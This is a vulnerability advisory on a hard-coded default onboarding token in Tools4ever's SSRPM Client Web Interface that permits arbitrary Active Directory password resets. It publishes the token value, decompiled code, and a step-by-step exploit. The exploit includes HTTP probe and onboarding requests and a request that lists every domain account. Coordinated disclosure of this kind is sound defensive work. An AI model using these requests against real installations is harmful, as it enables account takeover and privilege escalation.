SSRPM - Arbitrary password reset on default Client Web Interface installation
18/06/2024 - Download
Product
SSRPM
Severity
Critical
Fixed Version(s)
8.07 Build 1227 (May 2024)
Affected Version(s)
< 8.07
CVE Number
N/A
Authors
Description
Presentation
SSRPM (Self-Service Reset Password Manager) is Tools4ever’s premier password self-service solution. It allows organizations of all sizes to unburden their helpdesk and empower their end users regarding forgotten passwords and account management.
This solution is usually synchronized with an on-premise Active Directory and its Client Web Interface component is usually exposed to the Internet.
Issue(s)
The default installation of the Client Web Interface, which is provided alongside the COM SSRPM service, defines a hard-coded secret token for the Import
endpoint. This endpoint allows registering new accounts or overwriting existing onboarding data for an arbitrary account, which ultimately allows changing the password of an arbitrary account.
As the risks related to the default value of this secret token are not clearly documented, and this token is not automatically generated during the application installation, existing installs of the SSRPM Client Web Interface which are exposed to the Internet may be affected by this vulnerability.
Timeline
Date | Description |
---|---|
2024.02.21 | Advisory sent to Tools4ever. |
2024.02.22 | Advisory acknowledged by the vendor. |
2024.03.24 | Synacktiv asked for an update. |
2024.04.08 | Synacktiv asked for an update. |
2024.04.08 | Vendor says that it is working on a patch. |
2024.05.22 | Synacktiv asked for an update. |
2024.05.24 | Patch released by the vendor. |
2024.06.18 | Advisory released. |
Technical details
Description
The SSRPM Client Web Interface is an ASP.NET application and is structured as follows:
$ tree 'Client Web Interface/' -L 1
Client Web Interface
├── App_Data
├── bin
├── Content
├── favicon.ico
├── fonts
├── Global.asax
├── libman.json
├── packages.config
├── Scripts
├── Static
├── Views
└── Web.config
This application communicates with the core COM SSRPM service to perform privileged operations (e.g. to change the password of a domain account). The bin
folder contains the web application implementation:
$ tree 'Client Web Interface/bin/' -L 1
Client Web Interface/bin/
├── Antlr3.Runtime.dll
├── CaptchaMvc.dll
├── log4net.dll
├── Microsoft.Web.Infrastructure.dll
├── Newtonsoft.Json.dll
├── SSRPMClientWebInterface.dll
├── SSRPMSharedWebInterface.dll
├── System.Web.Helpers.dll
├── System.Web.Mvc.dll
├── System.Web.Optimization.dll
├── System.Web.Razor.dll
├── System.Web.WebPages.Deployment.dll
├── System.Web.WebPages.dll
├── System.Web.WebPages.Razor.dll
└── WebGrease.dll
All the controllers are defined inside SSRPMClientWebInterface.dll
:
SSRPMClientWebInterface.Controllers
├── AdSelfServiceController
├── BaseController
├── ChangePasswordController
├── EnrollController
├── ForgotUserNameController
├── HomeController
├── OnboardingController
├── ResetController
├── TestPasswordController
└── WinAuthController
Among all the defined endpoints, methods of controllers marked with the AllowAnonymous
annotation can be requested without prior authentication. This annotation is defined for the /Onboarding/Import
endpoint:
namespace SSRPMClientWebInterface.Controllers
{
[Authorize(Roles = "onboarding")]
[HttpAntiForgeryHandleError(ExceptionType = typeof (HttpAntiForgeryException), View = "HttpAntiForgeryExceptionView")]
public class OnboardingController : BaseController
{
//[...]
[AllowAnonymous]
[HttpPost]
public JsonResult Import(ImportAction data)
//[...]
}
}
This endpoint accepts POST
requests and returns a JSON document. In practice, it accepts data in several formats, such as application/json
and application/x-www-form-urlencoded
, but two JSON examples using this endpoint are provided in this PDF guide and this PowerShell script.
This endpoint authenticates the caller with a secret token provided in the OnboardingToken
request parameter, and returns the value -60
in the ErrorCode
JSON field if this token is not valid. Then, it returns the ErrorCode
value -55
if the provided Action
request parameter is unknown:
public JsonResult Import(ImportAction data)
{
long errorCode = 0;
try
{
if (string.Compare(Settings.Default.OnboardingToken, data.OnboardingToken, StringComparison.InvariantCultureIgnoreCase) != 0)
throw new SsrpmServiceException(-60L);
if (string.Compare(data.Action, "new") != 0 && string.Compare(data.Action, "delete") != 0)
throw new SsrpmServiceException(-55L);
new OnboardingService().Import(data);
}
catch (SsrpmException ex)
{
errorCode = ex.ErrorCode;
BaseController.Log.Error((object) "An error occurred while trying to import onboarding data.", (Exception) ex);
}
catch (Exception ex)
{
errorCode = -100L;
BaseController.Log.Error((object) "An error occurred while trying to import onboarding data.", ex);
}
return this.Json((object) new
{
Success = (errorCode == 0L),
ErrorCode = errorCode,
ErrorMessage = (errorCode == 0L ? "" : Localization.GetError(errorCode))
});
}
This token defaults to 7e30bebc-d17c-4833-98b6-d4c09e076b24
if it is not manually changed during the installation by editing the Web.config
file:
// Properties/Settings.cs
// [...]
[DefaultSettingValue("7e30bebc-d17c-4833-98b6-d4c09e076b24")]
[ApplicationScopedSetting]
[DebuggerNonUserCode]
public string OnboardingToken => (string) this[nameof (OnboardingToken)];
// [...]
The presence of this default value can be checked against an existing SSRPM Client Web Interface installation by sending an HTTP request as follows:
POST /Onboarding/Import HTTP/1.1
Host: ssrpm.tests.local
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
OnboardingToken=7e30bebc-d17c-4833-98b6-d4c09e076b24&Action=test
If the targeted installation is affected by this vulnerability, it will return an HTTP response with the ErrorCode
value -55
:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8[...]
{"Success":false,"ErrorCode":-55,"ErrorMessage":"Une erreur est survenue. Si le problème persiste veuillez contacter votre administrateur système."}
However, if the secret token was manually changed, it will return the ErrorCode
value -60
.
Impact
Client Web Interface installations affected by this vulnerability would allow changing the password of an arbitrary Active Directory account without user interaction. Depending on the privileges of the compromised accounts, and if MFA (Multi-Factor Authentication) is not deployed globally, an attacker would be able to compromise sensitive assets and elevate its privileges in the infrastructure relying on the Active Directory.
In order to exploit this vulnerability, the following parameters should be determined:
- The name of an existing Active Directory account (e.g. from OSINT). If the provided account was already registered on SSRPM, the
/Reset/Identify
endpoint will display the available reset methods (e.g. e-mail OTP, phone message OTP, answering to secret questions). However, if the provided account name does not exist or was not already registered, the following error message will be returned:
- The Active Directory domain name. It can be obtained from the web application's response. For example, using the
/Reset/Identify
endpoint:
$ curl 'http://ssrpm.tests.local/Reset/Identify' -s | grep 'name="DataModel.Domain'
<select class="form-control" id="DataModel_Domain" name="DataModel.Domain"><option value="[DOMAIN_NAME]">[DOMAIN_NAME]</option>
Then, a request to the /Onboarding/Import
endpoint can be performed to initiate a new onboarding for the targeted account:
POST /Onboarding/Import HTTP/1.1
Host: ssrpm.tests.local
Content-Type: application/json
{
"OnboardingToken": "7e30bebc-d17c-4833-98b6-d4c09e076b24",
"Action":"add",
"Users": [{
"Domain": "[DOMAIN_NAME]",
"SAMAccountName": "[USER_NAME]",
"Attributes": [
{"Name":"ID","Value":"[RND_ONBOARDING_ID]","Options":"1"},
{"Name":"[RND_NAME]","Value":"[RND_VALUE]","Options":"2"}
]
}]
}
In the JSON document, the following parameters should be replaced:
[DOMAIN_NAME]
: the targeted domain name.[USER_NAME]
: the targeted account name.[RND_ONBOARDING_ID]
: a random number (e.g. 16 digits) used to complete the new onboarding process.[RND_NAME]
: a random name.[RND_VALUE]
: a random password.
This request will initiate a new onboarding for the targeted user. The [RND_NAME]
and [RND_VALUE]
parameters are used to prompt for a secret question that can be answered during the onboarding process to pass the "identity verification" step without using an OTP that would be sent by e-mail or to a phone number.
In order to complete the process, the web form displayed on the /Onboarding/Identify
endpoint can be used, by providing the [RND_ONBOARDING_ID]
parameter specified in the previous HTTP request:
From this user interface, the following steps should be followed:
- Use the "Answer to a secret question to verify your identity" option and answer to the
[RND_NAME]
secret question using[RND_VALUE]
. - Use the "Re-enroll" option and register new secret questions by providing distinct and random passwords as the secret answers.
- Set an arbitrary password to the targeted account.
If these steps were correctly followed, the following message should be displayed, confirming that the password was set to an arbitrary value:
From there, it is possible to list the existing Active Directory accounts. To do so, the compromised credentials should be used on the /AdSelfService/Logon
endpoint:
Once authenticated, the following HTTP request can be performed to list all the existing accounts:
GET /AdSelfService/GetUsers?filter=%00%00%00&take=1000000&skip=0&page=1&pageSize=1000000 HTTP/1.1
Host: ssrpm.tests.local
Cookie: ASP.NET_SessionId=[...]; __RequestVerificationToken=[...]; .SSRPMFORMSAUTH=[...]
A JSON document structured as follows is then returned:
{
"Success": true,
"total": 7,
"data": [
{
"CanonicalName": "tests.local/Users/Administrateur",
"sAMAccountName": "Administrateur",
"EmailAddress": "",
"CommonName": "Administrateur",
"DisplayName": "Administrateur",
"SurName": "Admin",
"GivenName": "TESTS",
"Name": "Administrateur",
"Initials": "",
"UserPrincipalName": "Administrateur@Tests.local",
"DistinguishedName": "CN=Administrateur,CN=Users,DC=tests,DC=local"
},
//[...]
]
}
Finally, the attackers could exploit this vulnerability again to reset the password of sensitive accounts, determined from this list. This exploitation also works if the targeted accounts were not already enrolled on SSRPM, which is usually the case for service accounts or privileged user accounts.
Note however that there are constraints that can prevent changing the password of specific accounts:
- Accounts in OUs (Organizational Units) where no profile is configured in SSRPM. In practice, this only prevents specific accounts and the built-in
Administrator
account (RID=500
). In this case, the error message "A profile was not found. A profile must be configured for this domain or OU. (-10)" will be returned by the application on the/Reset/Identify
endpoint. - If the service account configured in SSRPM does not have enough privileges to reset the password of the targeted account.
- If the targeted account is disabled (a generic error will be displayed).
Recommendation
Set a new and random value to the OnboardingToken
setting. Install the new version of SSRPM and its web interface.
IOC
POST HTTP requests received to the endpoint /Onboarding/Import
.